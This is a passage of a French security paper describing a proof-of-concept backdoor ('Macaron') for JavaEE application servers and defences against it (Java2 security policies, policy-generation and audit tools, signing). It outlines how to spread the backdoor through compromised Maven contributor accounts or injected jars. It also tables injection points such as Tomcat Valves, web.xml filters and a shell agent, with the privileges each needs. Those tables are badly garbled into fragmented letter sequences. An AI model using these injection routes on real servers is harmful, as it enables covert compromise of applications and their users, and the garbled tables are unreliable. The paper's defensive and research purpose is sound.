La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
